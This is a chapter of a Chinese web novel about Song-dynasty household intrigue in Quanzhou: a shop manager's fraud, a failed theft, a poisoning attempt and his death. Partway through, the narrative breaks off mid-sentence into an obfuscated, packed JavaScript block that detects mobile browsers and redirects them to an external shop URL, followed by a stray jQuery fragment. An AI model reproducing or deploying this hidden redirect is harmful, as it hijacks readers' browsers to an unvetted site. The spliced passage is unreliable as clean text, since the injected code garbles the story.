文趣网 > 玄幻小说 > 北宋深闺药香 > 42. 第四十二章
    过完了年,夜晚的寒风照样凛冽。

    李寿喝的东倒西歪,走路都不利索,李氏香药铺的伙计搀扶着,两人从酒楼出来。

    一个月前,李寿从一个游走蕃商那里采买了一批香药,檀香、苏合香、安息香等。

    价格便宜,为贪图小利,也没有找中间的牙人。

    只是,隔行如隔山,这批香药外面是正常的,里头却是假的。

    檀香里面掺杂了滑石粉、石膏、尘土、砂石、泥块、明矾,色泽如常,点燃的样品也正常。

    然而,卖与客户之后,客户拿出底下的檀香一焚,就发现不对。

    李寿被客户指着鼻子骂,卖假货。

    等他再去寻那卖香药的蕃商,人早就搭了船离开泉州,根本就无踪迹可循。

    香药的交易,动则千贯万贯,仅仅这一笔,就让章相公损失了上万贯。

    李小娘急的团团转,一旦被章相公知道,恐怕失去所有产业。

    只得向解库贷了一万贯,以此应付年关。贷出来的钱总是要还的,九出十三归。

    李寿不愿意自己差事被夺,和李小娘一合计,里应外合,铤而走险。

    拉了几人,冒充贼人,趁着章府下人休假,值守人少之际,翻墙越户,偷偷去章府盗一笔钱财,填补亏空。

    哪成想,钱没偷着一文,还被章府的一个胖丫环发现了,她一嗓子,喊的全府的家丁冲进来。

    要不是有李小娘照应,他们快速从狗洞出去,估计就要被逮个正着。

    这个年,李小娘过的提心吊胆,又咬牙切齿,自己的二表兄成事不足败事有余,勒令他想办法填空亏,不然她也保不住他。

    平日里,李寿结交了一帮闲汉,吃酒吹捧都是常事。

    如今遇到难处了,便有人给他出主意,章知州手上掌握着商人的公凭,出海以及去内地做买卖,都要这张凭证,这便是赚银子的门路。

    李寿转念一想,若一张公凭卖五百贯,二十多张就凑够了。

    出了年关,泉州的商户开始一年的忙碌,等到春风吹起,南洋的商船陆续登陆刺桐港,他们很多人要前往内地卖香药、药材、宝货。

    一名真腊的蕃商在酒楼摆了这场席面,请李寿吃酒,另请了相熟的商人在中间撮合,还有两个唱的,供唱递酒。

    那真腊蕃商以前在成都府犯过事,看中一个女子织蜀锦的手艺,便联合她的庶兄,强纳为妾,没想到四川小娘子一咬牙,告上衙门,蕃商丢了公凭。

    泉州好些蕃商也知道李寿经营的铺子是章知州家小妾的铺子,因着这层关系,便觉办理一份公凭,花费五百贯也值得。

    借着李寿的门路,若是以后遇到其他事,也方便疏通一二。

    李寿怀揣着五百贯交子,歪歪扭扭的摸到一处宅院门口,不知道的还以为他回家呢。

    里面一个婆子开了门,热切的迎上去,“哎哟,这不是我的好女婿嘛,好长时间没来,我女儿还以为你把她抛诸脑后了呢,想你想的掉眼泪,茶饭不思,瘦了一圈。让丫环去找铺子你,你也忙的不见人影。”

    女儿不是婆子的亲女儿,而是她拐来了的,原先都是正经人家的闺女,长的貌美。

    婆子好吃好喝伺候着,还各买一个小丫环伺候。

    两个女儿吃的好,穿的好,钗环首饰簪满头,也不回家,做起了这私窠的皮肉买卖。

    李寿跟着婆子进了宅院,入了一间雅致的厢房,立即便有小丫环送上好茶、蜜饯果子。

    婆子拿眼上下扫李寿,脸上堆满笑容,殷勤道:“好女婿,先吃一盏茶,暖暖身子。这会不巧,我那女儿正在陪一个高丽来的商人,唱完便来。”

    李寿看起来不计较,还很大方的从荷包里取出两个大银铤,“妈妈,前阵子,铺子里忙碌,这钱你拿着,置办几匹绸子,裁几身销金衣裳。”

    婆子一看百贯钱,喜的帕子乱舞,“女婿,你先躺下歇会,我让小丫环过来伺候你梳洗。一会就让我女儿过来陪着。”

    半个时辰后,李寿等的眼皮都快打架,气愤的直喊婆子,结果来了两个男子。

    李寿吓了一跳,待看清来人是谁后,反而轻松的坐下。

    “你们大晚上跑这里来做什么?”

    为首的人却说:“你卖公凭,这事章知州已经知道了,还有你联合盗贼,到章家行窃,捅伤了他家丫环。你做买卖,亏空了万贯钱财,这些都不算什么。

    这十几年,你把持着所有铺子,一半的进项都进了你的私人腰包。”

    李寿大惊,他们怎么知道他吞了一半,真正的账本,他藏了起来。

    还未等他说话,对方已经端来了一碗汤,指着汤碗对他说:“出了这么多事,你活不成了。你是自己喝,还是让你家人一起陪着你喝。你自己选。”

    “是章知州派你们来的?死也得让我死个明白吧。”李寿心有不甘。

    对方笑了,“李寿,重要吗?这些年,你光花在粉头身上,都不下千贯银钱,一出手就是上百贯,谁家养的起你这样的铺子掌柜。”

    李寿苦笑道:“我喝,麻烦你们告诉我表妹,下辈子我想当官,想娶她做正头大娘子,就不用找替身了。”

    对面两人便不再说话,退到一旁,恭请上路。

    一个疏忽大意,李寿突然翻窗而去,外面是一条河流,连通着刺桐港,只听见扑通一声,黑夜里,人消失在河道中。

    两人对视一眼,脸色苍白,“追!”

    *

    碧山阁。深夜。

    李小娘拍着桌子,压低声音,骂道:“蠢货,两个蠢货!这点事情都办不好。”

    芳意跪在地上请罪,头磕的咚咚响:“小娘,我爹说他也没想到,李寿竟然丝毫不顾及家人性命,直接跳窗逃跑。

    我爹已经带人堵在了河道两侧,只要他出来就抓他,除非他顺着河道游向港口。”

    李小娘心口剧烈跳动,上万贯的亏空,总要有人顶罪。

    “你让你爹盯紧了,要是被程宜之或者主君的人发现,别说我,你、还有你爹,都等着完蛋吧。”

    此时的程宜之刚接到关婆子消息,李寿跑了,她压根就没来得及动手。

    程宜之的人,守在私窠门口,只见李寿进去,不见他出来。反而发现芳意的爹带着一个年轻力壮的男子从那私窠里面出来。

    “你说什么?!李小娘派人动手杀李寿?!”程宜之有些不信。

    关婆子压低声音:“是的,看的很清楚,芳意的爹,还带着人追呢。那李寿为李小娘鞍前马后这么多年。

    我听说,原本李小娘与李寿从小青梅竹马,是有婚约的,但是李小娘看上了主君。真没想到啊,一朝出事,为了保全自己,就下狠手。”

    程氏冷笑道:“她李蔷面上带笑,裙底藏刺。这会人跑了,还不知道怎么气急败坏呢。你也让人盯着,只要李寿一露头,就抓他。”

    关婆子点头,突然想起一事:“大娘子,咱们在碧山阁的人,偷听了一耳朵,主君的铺子,每年的营收,一半进了李寿的口袋,他做假账,虚报冒领、亏空,亏的算主君的,盈利

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17654522|202379||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的一半算他自己的,好大一只硕鼠!”

    程氏听的快心梗,章惟翰的私产,本应该交给她这个大娘子打理。

    当年她生下允姐儿,李小娘生下裕哥儿,自己年轻不懂事,只顾着和章惟翰置气,惹的章惟翰干脆把大多私产挂在李小娘那里。

    那被李寿吞掉的一半,不仅割了程氏的肉,还打了程氏的脸面。

    程氏脸色铁青,一拍桌子,愤恨道:“加人手,去刺桐港口找人,一定要让他把钱吐出来,再把他交给主君,让他自己看看养的什么东西!”

    徐家已经派媒人上门提亲,互换了草帖,之后便是细帖,要罗列家资及三代名讳、官职。

    程氏要给允姐儿置办十里红妆,上次亲友已经添过妆,不好再次让人添妆,她一定要将李寿揪出来,夺回一半私产,给允姐儿当嫁妆。

    *

    又过几日。

    章家的下人们三三两两聚在一起,从门口小厮到厨房的丫环婆子们都在讨论一件事。

    李氏香铺的掌柜李寿死在了河里,三更鼓后,酒后掉进河水中,春寒料峭,河水冰冷,直接呛死了。

    众人唏嘘不已,说他带着一伙贼人,偷偷跑进章府偷公中的钱库,砍伤香梨儿,真是恶人有恶报,老天长眼。

    提起李寿生前多么风光,福州、泉州都有宅子,在外面的派头比章知州都大。

    如今树倒猢狲散,他的大娘子立即贱卖了两个妾室,十贯钱,卖进了最下三烂的窑子。带着一双儿女,卷了钱财,逃走了。

    下人屋内。

    绣儿端来一碗黑乎乎的药,黏稠味重,“香梨儿,趁热喝,伤才好的快。你大仇得报了,该去开元寺烧香,感谢佛祖保佑。”

    初雪瞅了一眼那碗药,看着就苦,香梨儿爱吃甜食,这么苦的药喝下去,真真够呛,只得安慰她。

    “陈娘子开的这个药方虽苦,但是药效好。大娘子说你有功,护住了章家钱库,给你涨月钱。”

    香梨儿皱着眉,一仰脖子,灌了下去,接过初雪递过来的碗喝了好多热水,又含了一颗余喜送来的糖,才好受些。

    大娘子还赏了她一对丁香耳环、一对绞丝金镯、一对十两重的银锞子,疗伤吃药的钱,一概公中出,又让绣儿伺候她。

    香梨儿抚着自己心口,庆幸道:“幸亏咱们府里有陈娘子,来的及时,我这条命是她救的,回头我得去谢谢她。”

    初雪道:“说来也奇怪,李寿在外面管着好几个铺子,这么多年,都是李小娘的左膀右臂,他在酒楼吃酒打赏唱戏的,一出手都是一个碎银子,好端端的,怎么突然跑来偷公中的钱库?”

    绣儿伸脖子看了一眼门外,她现在早跟碧山阁划清了界限,一门心思抱紧允姐儿。

    “你们还不知道吧,我听说,李寿不仅谋夺主君私产,最近还做了一笔香药买卖,买了一批假香药,亏了上万贯。

    主君下令,将李小娘拖到祠堂,打了三十板子,因为她勾结李寿,大年初一来抢章家财库。

    意姐儿和裕哥儿都受到牵连,挨了主君训斥。”

    香梨儿瞬间秒懂,难怪大娘子和关婆子心情很好,看起来像是出了一口恶气,走路时,腰杆子挺的直直的。

    绣儿接着说:“香梨儿,你的好运还在后头呢,我听说,主君将私产铺子交给了大娘子,大娘子想找几个心腹丫环,认字的,让铺子掌柜带着培养,去替她看管铺子。”

    绣儿有自己的算盘,香梨儿若是去了铺子当差,她就成了允姐儿跟前的管事大丫环,扬眉吐气。